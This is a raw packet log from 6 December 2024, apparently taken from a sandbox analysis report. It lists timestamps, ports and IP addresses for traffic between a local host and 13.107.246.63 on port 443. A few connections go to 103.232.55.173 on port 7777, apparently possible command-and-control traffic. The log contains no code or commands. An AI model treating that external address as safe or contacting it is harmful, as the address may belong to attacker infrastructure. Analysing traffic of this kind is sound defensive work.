Dec 6, 2024 15:53:57.584268093 CET	443	49929	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:57.584367037 CET	49929	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:57.584367990 CET	49929	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:57.584539890 CET	49929	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:57.584558010 CET	443	49929	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:57.587007999 CET	49934	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:57.587069988 CET	443	49934	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:57.587151051 CET	49934	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:57.587280989 CET	49934	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:57.587294102 CET	443	49934	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:57.769025087 CET	443	49930	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:57.769512892 CET	49930	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:57.769527912 CET	443	49930	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:57.770071983 CET	49930	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:57.770078897 CET	443	49930	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:57.776158094 CET	443	49931	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:57.776757002 CET	49931	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:57.776797056 CET	443	49931	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:57.777054071 CET	49931	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:57.777062893 CET	443	49931	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.210491896 CET	443	49930	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.211102009 CET	443	49931	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.213614941 CET	443	49930	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.213665962 CET	443	49930	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.213793039 CET	443	49931	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.223334074 CET	443	49931	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.223334074 CET	443	49930	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.227575064 CET	49931	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:58.227715015 CET	49930	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:58.242964029 CET	49930	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:58.242964029 CET	49930	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:58.242988110 CET	443	49930	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.242996931 CET	443	49930	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.244259119 CET	49931	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:58.244259119 CET	49931	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:58.244328976 CET	443	49931	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.244340897 CET	443	49931	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.247762918 CET	49935	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:58.247827053 CET	443	49935	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.248101950 CET	49935	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:58.248363018 CET	49935	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:58.248383999 CET	443	49935	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.249242067 CET	49936	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:58.249279976 CET	443	49936	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:58.249423981 CET	49936	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:58.249581099 CET	49936	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:58.249594927 CET	443	49936	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.056739092 CET	443	49932	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.057265997 CET	49932	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.057291031 CET	443	49932	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.057706118 CET	49932	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.057713032 CET	443	49932	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.059382915 CET	443	49933	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.059745073 CET	49933	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.059760094 CET	443	49933	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.060156107 CET	49933	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.060163021 CET	443	49933	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.308929920 CET	443	49934	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.309338093 CET	49934	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.309354067 CET	443	49934	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.309865952 CET	49934	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.309878111 CET	443	49934	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.497625113 CET	443	49932	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.497659922 CET	443	49932	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.497718096 CET	49932	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.497730017 CET	443	49932	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.497910976 CET	49932	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.497945070 CET	443	49932	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.497942924 CET	443	49933	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.497961044 CET	49932	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.497970104 CET	443	49932	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.498008013 CET	443	49933	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.498646021 CET	49932	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.498651981 CET	443	49932	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.498692989 CET	49933	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.499244928 CET	49933	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.499269962 CET	49933	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.499274969 CET	443	49933	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.499280930 CET	443	49933	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.500493050 CET	49937	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.500534058 CET	443	49937	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.501303911 CET	49938	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.501336098 CET	49937	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.501343012 CET	443	49938	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.501554966 CET	49938	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.501658916 CET	49938	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.501674891 CET	443	49938	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.501683950 CET	49937	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.501698017 CET	443	49937	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.749583960 CET	443	49934	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.752803087 CET	443	49934	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.753514051 CET	49934	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.753514051 CET	49934	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.753763914 CET	49934	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.753781080 CET	443	49934	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.756195068 CET	49939	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.756238937 CET	443	49939	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.756395102 CET	49939	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.756520987 CET	49939	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.756545067 CET	443	49939	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.972954988 CET	443	49936	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.973607063 CET	49936	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.973623991 CET	443	49936	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.974174023 CET	49936	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.974178076 CET	443	49936	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.976645947 CET	443	49935	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.977451086 CET	49935	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.977451086 CET	49935	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:53:59.977473974 CET	443	49935	13.107.246.63	192.168.2.7
Dec 6, 2024 15:53:59.977488995 CET	443	49935	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.416522026 CET	443	49935	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.419708014 CET	443	49935	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.419776917 CET	443	49935	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.419809103 CET	49935	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.419992924 CET	49935	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.420043945 CET	49935	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.420043945 CET	49935	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.420068979 CET	443	49935	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.420082092 CET	443	49935	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.422565937 CET	443	49936	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.422820091 CET	49940	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.422864914 CET	443	49940	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.424005032 CET	49940	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.424278975 CET	49940	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.424299955 CET	443	49940	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.425807953 CET	443	49936	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.425956964 CET	49936	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.426162004 CET	49936	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.426162004 CET	49936	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.426177979 CET	443	49936	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.426188946 CET	443	49936	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.428185940 CET	49941	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.428241014 CET	443	49941	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:00.428396940 CET	49941	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.428514004 CET	49941	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:00.428529978 CET	443	49941	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.231610060 CET	443	49938	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.232129097 CET	49938	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.232146978 CET	443	49938	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.232728004 CET	49938	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.232733011 CET	443	49938	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.488404989 CET	443	49939	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.489089966 CET	49939	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.489105940 CET	443	49939	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.489459038 CET	49939	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.489473104 CET	443	49939	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.681431055 CET	443	49938	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.685292006 CET	443	49938	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.685347080 CET	49938	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.685357094 CET	443	49938	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.685440063 CET	49938	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.685503960 CET	49938	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.685523987 CET	443	49938	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.685539961 CET	49938	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.685547113 CET	443	49938	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.688246012 CET	49942	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.688297033 CET	443	49942	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.688456059 CET	49942	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.688606024 CET	49942	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.688621998 CET	443	49942	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.928184032 CET	443	49939	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.928828001 CET	443	49939	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.928915024 CET	49939	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.928951979 CET	49939	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.928951979 CET	49939	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.928985119 CET	443	49939	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.929002047 CET	443	49939	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.931699991 CET	49943	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.931756020 CET	443	49943	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:01.931977987 CET	49943	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.931977987 CET	49943	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:01.932015896 CET	443	49943	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.140079975 CET	443	49940	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.146497011 CET	49940	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.146512032 CET	443	49940	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.146955967 CET	49940	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.146961927 CET	443	49940	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.150018930 CET	443	49941	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.152261972 CET	49941	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.152302027 CET	443	49941	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.152630091 CET	49941	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.152637005 CET	443	49941	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.869158030 CET	443	49940	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.869178057 CET	443	49940	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.869219065 CET	443	49940	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.869241953 CET	49940	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.869286060 CET	49940	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.869532108 CET	49940	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.869551897 CET	443	49940	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.869561911 CET	49940	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.869575024 CET	443	49940	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.870166063 CET	443	49941	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.870242119 CET	443	49941	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.870455980 CET	49941	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.870685101 CET	49941	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.870685101 CET	49941	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.870702982 CET	443	49941	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.870714903 CET	443	49941	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.872637033 CET	49944	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.872682095 CET	443	49944	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.872706890 CET	49945	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.872765064 CET	443	49945	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.872775078 CET	49944	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.872828960 CET	49945	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.872944117 CET	49944	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.872956991 CET	443	49944	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:02.872997999 CET	49945	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:02.873011112 CET	443	49945	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.517082930 CET	443	49937	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.540709972 CET	49937	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:03.540735960 CET	443	49937	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.541099072 CET	49937	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:03.541105986 CET	443	49937	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.562622070 CET	443	49942	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.577195883 CET	49942	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:03.577214003 CET	443	49942	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.597789049 CET	49942	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:03.597817898 CET	443	49942	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.662499905 CET	443	49943	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.668375015 CET	49943	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:03.668416977 CET	443	49943	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.675723076 CET	49943	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:03.675729990 CET	443	49943	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.964448929 CET	443	49937	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.967973948 CET	443	49937	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.968091965 CET	49937	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:03.968091965 CET	49937	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:03.968131065 CET	49937	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:03.968158007 CET	443	49937	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.971120119 CET	49946	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:03.971170902 CET	443	49946	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:03.971239090 CET	49946	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:03.971410990 CET	49946	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:03.971425056 CET	443	49946	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.001543045 CET	443	49942	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.002415895 CET	443	49942	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.002480984 CET	49942	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.002516985 CET	49942	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.002537012 CET	443	49942	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.002548933 CET	49942	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.002554893 CET	443	49942	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.005597115 CET	49947	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.005651951 CET	443	49947	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.005748034 CET	49947	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.005872965 CET	49947	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.005882978 CET	443	49947	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.096782923 CET	443	49943	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.100363970 CET	443	49943	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.100414038 CET	443	49943	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.103071928 CET	49943	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.103329897 CET	49943	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.103329897 CET	49943	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.103343010 CET	443	49943	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.103353024 CET	443	49943	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.106111050 CET	49948	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.106147051 CET	443	49948	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.106215954 CET	49948	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.106395960 CET	49948	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.106410027 CET	443	49948	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.515732050 CET	443	49944	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.516288996 CET	49944	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.516316891 CET	443	49944	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.516736984 CET	49944	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.516741991 CET	443	49944	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.705804110 CET	443	49945	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.706331015 CET	49945	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.706362963 CET	443	49945	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.706801891 CET	49945	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.706813097 CET	443	49945	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.956317902 CET	443	49944	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.965205908 CET	443	49944	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.965372086 CET	49944	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.965418100 CET	49944	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.965435028 CET	443	49944	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.965449095 CET	49944	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.965456009 CET	443	49944	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.968697071 CET	49949	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.968750000 CET	443	49949	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:04.968842030 CET	49949	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.968971968 CET	49949	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:04.968987942 CET	443	49949	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.145649910 CET	443	49945	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.151647091 CET	443	49945	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.154687881 CET	49945	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:05.154740095 CET	49945	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:05.154740095 CET	49945	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:05.154761076 CET	443	49945	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.154771090 CET	443	49945	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.157515049 CET	49950	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:05.157572031 CET	443	49950	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.157754898 CET	49950	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:05.157810926 CET	49950	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:05.157818079 CET	443	49950	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.333058119 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:05.453372955 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:05.702299118 CET	443	49946	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.702775002 CET	49946	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:05.702814102 CET	443	49946	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.703244925 CET	49946	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:05.703257084 CET	443	49946	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.784975052 CET	443	49947	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.805207014 CET	49947	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:05.805243969 CET	443	49947	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.805665016 CET	49947	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:05.805670977 CET	443	49947	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.833173990 CET	443	49948	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.839525938 CET	49948	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:05.839564085 CET	443	49948	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:05.839981079 CET	49948	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:05.839992046 CET	443	49948	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.053925991 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:06.108746052 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:06.119721889 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:06.150345087 CET	443	49946	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.150374889 CET	443	49946	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.150439024 CET	443	49946	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.159329891 CET	443	49946	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.159754992 CET	49946	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.239660025 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:06.346386909 CET	49946	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.346425056 CET	443	49946	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.346458912 CET	49946	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.346467972 CET	443	49946	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.356228113 CET	49951	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.356281042 CET	443	49951	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.356416941 CET	49951	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.356631041 CET	49951	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.356642008 CET	443	49951	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.373678923 CET	443	49947	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.374530077 CET	443	49947	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.374546051 CET	443	49948	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.374572039 CET	443	49948	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.374588013 CET	49947	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.374614000 CET	443	49948	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.374659061 CET	49947	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.374680996 CET	443	49947	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.374702930 CET	49948	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.374764919 CET	49948	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:06.374783993 CET	443	49948	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:06.374793053 CET	49947	443	192.168.2.7	13.107.246.63
